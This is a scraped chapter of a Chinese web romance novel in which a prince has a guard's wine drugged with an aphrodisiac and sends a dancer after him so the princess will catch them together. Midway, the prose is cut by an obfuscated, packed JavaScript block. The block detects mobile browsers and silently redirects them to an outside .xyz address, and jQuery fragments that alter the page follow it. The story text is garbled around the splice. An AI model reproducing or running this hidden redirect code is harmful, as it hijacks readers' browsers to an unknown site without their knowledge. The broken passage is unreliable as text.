18. 第 18 章

作品:《“项圈”套在清冷杀神脖子上

    她说有一处最值得怀疑,但是却又不说到底是哪一处,只拿一双眸子瞧他。


    苏戮侧了下脸,拾起桌上毛笔,在都城图上勾了一笔。


    他的手生得实在太好看。


    骨指分明,每根指节都匀称修长,手腕内侧有微凸的筋,直到苏戮放下毛笔,谢郁棠垂了下眼,这才将目光移到地图上。


    渡口。


    方才她圈了三处,一处离军械库太近,虽然存放军械方便,但要想掩人耳目地运出去可就太难;另一处虽然位置利于掩人耳目,但地势偏狭,不利于运输,只有这一处——


    谢郁棠盯着他勾画的笔痕看了片刻,抬眼看向面前静默执笔的少年:“为什么是渡口?”


    “对方偷盗军械,把东西从巡防营运出只是第一步,最关键的是还要能把军械运回去。”


    少年将狼毫置于笔架上,指尖在地图上某处虚虚一点:“这里有个废弃的宅院,离渡口一里地不到,以前是工部用来存置水利设施的,后来皇上在西郊新划了区域,这里就渐渐废弃,被兵部要来改建成了屯田种粮的地方。”


    他说得信手拈来,但这背后所需要的是强大的信息网和对朝政时局的把控,谢郁棠也是靠着上一世浸淫朝政的经历,才能看出这背后的弯弯绕绕。


    眼前这个比她还年少些的少年又是如何做到的?


    谢郁棠目光落在他脸上,勾了下唇角:“看来苏世子也关心朝堂之事。”


    苏戮垂下眼眸,算是默认。


    见他并没有进一步解释的打算,谢郁棠也不置可否。


    他既承诺忠于她,那么在实质性的背叛举动之前,她不介意给予对方一定的空间。


    “论大小,这里放得下大量军械,论远近,此处离军械库不到一个时辰的脚程,最重要的是——渡口。”


    谢郁棠的指尖顺着地图上少年方才点过的地方向下划去:“要想把这么大一批军械神不知鬼不觉地运送出去,比起盘查森严的陆路,水陆无疑要便利得多。综合考虑之下,把军械暂存在这个靠近渡口的宅院,是最佳选择。”


    “属下会找机会去查。”


    “不必。”


    苏戮毕竟还在巡防营卧底,虽然知道他手段了得,但到底还是风险太大。


    谢郁棠心中已有了计较:“此事你且等我消息,如果顺利的话,本宫和你一起,正大光明的去。”


    事实比她预想的更加顺利。


    三日后,三皇子蔺檀邀请宁安公主谢郁棠游船的消息不胫而走,传遍了整个大兖都城。


    “三殿下可是煞费苦心,这船上从屋舍布置到甜点茶酒,全都是由三殿下一一安排布置的,咱们三殿下虽然早有通文雅知意趣之名,但如此细心操持,还是第一回,甚至啊——”


    微醺状态的巍咸西手里拿着一根竹筷,和着鼓点敲着碗沿,指了指面前的歌舞艺伶,“甚至专程将都城最负盛名的舞姬乐团邀来船上,为您歌舞助兴。”


    皇子公主出游,护卫安全的工作自然便落在了巡防营身上,蔺檀身为皇子不说,还有独得圣眷的宁安公主谢郁棠,如此两位香饽饽,能有一个在身旁护卫伴游的机会,是多少人做梦都求不来的。


    也怪不得巍大统领如此尽心尽责地拍着马屁,讨两位主子欢心。


    谢郁棠只不咸不淡地饮茶。


    蔺檀因那日与宁妍儿同游灯会而心生愧意,第二日便差小福子递了话,想约个日子单独邀谢郁棠同游。


    小福子心里也明白上次是自家主人做得不地道,原本都做好了吃闭门羹的准备,谁知谢郁棠竟同意了,还直言——她要游船。


    蔺檀自然依她,不仅游船,甚至连游船的路线也全由着谢郁棠。


    蔺檀自觉此番自己诚意十足且体贴温柔,原以为谢郁棠就算是千年的冰山也得化了,没想到竟还是这么一副不冷不淡的模样,这一场酒吃下来,任是巍咸西怎么带节奏,她连一个眼神都欠奉,倒是朝门外看了好几眼。


    蔺檀敛在衣袖中的手渐渐泛白。


    她还是忘不了那个小杂种。


    门外站着的就是苏戮——作为武试第一,理所当然被“抽调”来船上执行守卫职责。


    临行前巍咸西很上道地来拜访他,说三殿下不想看到的人他有一百种理由让对方无法出现。


    但蔺檀拒绝了。


    他不仅要让这小杂种来,还要弄一出好戏给谢郁棠看。


    不是他蔺檀不大度,实在是这小杂种忒不安分,他要是乖乖在巡防营做个侍卫也就算了,竟然还敢在灯会那晚私会谢郁棠,媚上惑主。


    宁安公主什么身份,他一个胡人舞姬的贱种,被赶出门去还不知要脸,竟想妄攀高枝。


    收到蔺檀的暗示,魏咸西敲碗的动作微微一顿,不动声色地攥紧了袖中用纸包住的药粉。


    “苏世子,海风湿冷,喝壶酒暖暖,不然到了下半夜撑不住。”


    酒宴至半,巍咸西来到门口值守的苏戮面前,一副亲切慰问的样子,他一手搭在苏戮肩上,关切地拍了拍,被酒意熏红的脸上满是和善的笑。


    苏戮静静看着他手中拧开的酒囊。


    巍咸西脸上的笑渐渐有些挂不住,苏戮那一双平静淡漠的眸子盯住他,有一个瞬间甚至让他以为自己在酒中下了药的事已被看穿。


    苏戮终于在这时抬手接过了他的酒囊。


    直到看着对方将酒喝下,巍咸西心里才暗暗松了口气,重新挂上统领关怀下属式的笑:“苏世子好好干,咱们巡防营虽比不上宁安公主的公主府,但也不是等闲之地,以苏世子的武学才干,定能大有前途!”


    苏戮平静地抱拳:“还望巍统领多担待。”


    天色渐晚,夕阳的余晖在少年瓷白的皮肤上刷了层蜜,混着胡人味道的一张脸在这光影的变换中愈发明艳摄魄。


    巍咸西的呼吸停顿片刻,哈哈一笑,又说了些场面话,这才转身离开。


    迎面走来一列方才舞毕退下的舞姬,巍咸西冲末尾那个粉色水袖的使了个眼色,那舞姬略一颔首,在下一个转角处离了队列,向苏戮值守的方位走去。


    那壶酒里下的是什么药,实在是太容易猜,巍咸西一转身,苏戮就将含在口中的酒吐进海里。


    他暗暗运了内里,将面色蕴得微红,装作药效发作后意识到不对的样子,紧绷着身体往内舱走去。


    “这位公子可是喝多了酒?”


    一道媚意的女声自身后响起,随着声音一道逼近的还有馥郁的合欢香,让人闻之骨酥。


    此时天色渐昏,宴饮正酣,内舱紧闭的房屋内亦不时有令人面红耳赤的声音传出。


    苏戮却在这一瞬想起了谢郁棠身上若有似无的幽兰清香,舞女见他原本凌冽的神色柔和了片刻,以为是自己的魅惑见了效,暗喜之下语气越发地放肆娇嗲。


    身为大兖府城最富盛名的舞姬,其实她最擅长的不是舞蹈,而是风月之事。


    多少男人一掷千金只为了一亲芳泽,她看着他们在塌上丑态百出,嘴是笑的,心却是冷的,在她心里,男人同狗无异。


    都是那种只要给块骨头就会摇着尾巴往上扑的。


    可没有一人同眼前这位公子一般。


    她从未见过这般好看的人。


    好看到让她心甘情愿的主动往上扑。


    就算只是春风一度,也值了。


    那舞姬柔弱无骨地缠了上去,将自己最娇媚最温软的一面尽数释放,呵气如兰:“不如让小女照拂一下公子……”


    谢郁棠一直关注着苏戮的状态,见对方离了值守岗位后一直没有回来,便要起身去寻。


    蔺檀未展的扇骨在桌上轻轻一摁,正要开口,谢郁棠一个眼风已经扫了过去:“怎么,你要阻拦本宫?”


    “怎么会呢?”


    蔺檀抓着扇子柔和一笑,笑中有些自嘲,“棠棠把我想成什么了?苏世子怎么说也曾是本宫的伴读,又是棠棠你府上的旧人,本王只是担心罢了。”


    蔺檀此番言辞更让谢郁棠确信此事有蹊跷,不妨就看看他到底耍的是什么把戏,两人走出舱门,甲板上果然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651163|171318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到处不见苏戮的身影,蔺檀拦住一个送酒小厮,那小厮明显知道些什么,眼神躲闪,支支吾吾。


    “苏世子到底去哪了,说!”


    “回、回三殿下,回公主,小的刚刚看到、看到苏侍卫搂了一位舞姬,去二楼客房了……”


    “胡说!”


    蔺檀厉声开口,大声道,“苏世子不过是喝多了酒,纵是年轻人气血方刚,哪儿会见到一个美貌舞姬就把持不住,要搂着人去客房的,你可是看清楚了?若有一字虚言,本王把你丢到河里喂鱼!”


    他这么一呵斥,大半个甲板上的人都听了个清清楚楚。


    大兖民风开放,王宫贵族游船宴饮,也常有酒醉之后的风流艳事,已有不少男客搂着舞姬侍女往二楼客房里去。


    那小厮跪倒在地,抖如筛糠:“三殿下明鉴,小的句句属实,确实是亲眼看到苏世子搂着那舞女往二楼去了,进了天字五号房!”


    蔺檀手里把弄着折扇,正要再说些什么,谢郁棠已经绕过小厮,长袖一甩,抬步直往那二楼厢房去了。


    “棠棠!”


    蔺檀在后面追。


    甲板上路过的宫女侍从,见到谢郁棠风风火火地朝内舱赶,后面还跟着三皇子,纷纷吓得大气不敢出,远远便让开一条道。


    蔺檀终于在一个拐角处追上谢郁棠,抓住她手腕。


    “怎么,方才刚说过担心苏世子,这会儿怎么又拦起本宫了?”


    蔺檀压低声音,咳嗽一声,“棠棠有所不知……不是本王故意拦着,是因为……现在不方便打扰苏世子啊!”


    谢郁棠斜睨一眼。


    “苏世子年少方刚,又饮了烈酒,现在恐怕……”蔺檀以衣袖掩嘴,一露出点恰到好处的“男人懂男人”的体谅,“不如等此事结束,本王做出将那舞姬给了苏世子。”


    “你就这么确定?”


    蔺檀话说到一半被谢郁棠打断,微微一愣,“你说什么?”


    “我说三殿下就这么确定苏世子现在与那什么舞姬在房中行风月之事?”


    那当然。


    那可是“骨酥”。


    江湖中人人闻之色变的顶级媚药“骨酥”。


    尼姑庵里的尼姑都能化作一摊快活水,得到高僧中了也得乖乖睡进温柔乡。


    酥人骨,迷人魂,非行风月之事不可解……除非活活憋死。


    他费了好大的劲才搞来这么一点,为的就是万无一失。


    那小杂种灯会节私会谢郁棠也就罢了,也不知使了什么手段,竟能勾得谢郁棠今日当然众人的面依旧如此维护。


    他堂堂大兖三皇子,竟还不如一个小杂种。


    他的脸往哪放?!


    明明他蔺檀才是谢郁棠心心念念挂怀之人,明明他蔺檀才是被谢郁棠一门心思追着捧着的人。


    这一切原本是他的!他的!


    蔺檀想起那日马车里的画本,这种就会凭着下作手段以色侍君的小杂种,他偏要弄脏了他,看他还拿什么勾搭人。


    况且……那舞姬还是房中术的一把好手,就没男人能抵抗得了,那小杂种还中了药。


    男人嘛,就算平日里再装得冰清玉洁,到了这种时候,嘿嘿……他千算万算,就是要让谢郁棠现场抓奸。


    谢郁棠的性子他是知道的,最恨背叛。


    若是让她亲眼瞧见自己的栾宠同别的女人在榻上云雨……用不着他开口,她自然就会把人丢的远远的,连看一眼都嫌晦气。


    谢郁棠冷眼瞧着蔺檀神色,心里早就透亮,从巍咸西到甲板上的小厮再到这房内的舞姬,只怕都是他早就安排好的。


    谢郁棠眼底寒意一闪而过。


    她想过蔺檀会使点手段,只是没想到能这么下作。


    是真的连身为皇子的体面都不要了。


    谢郁棠冷笑一声,正要抬脚踹门,身后却有人先她一步,将门大大推开。


    蔺檀一脸都是为了她的样子:


    “棠棠,你若非要亲眼看了才甘心,本王便陪你捉了这对狗男女!”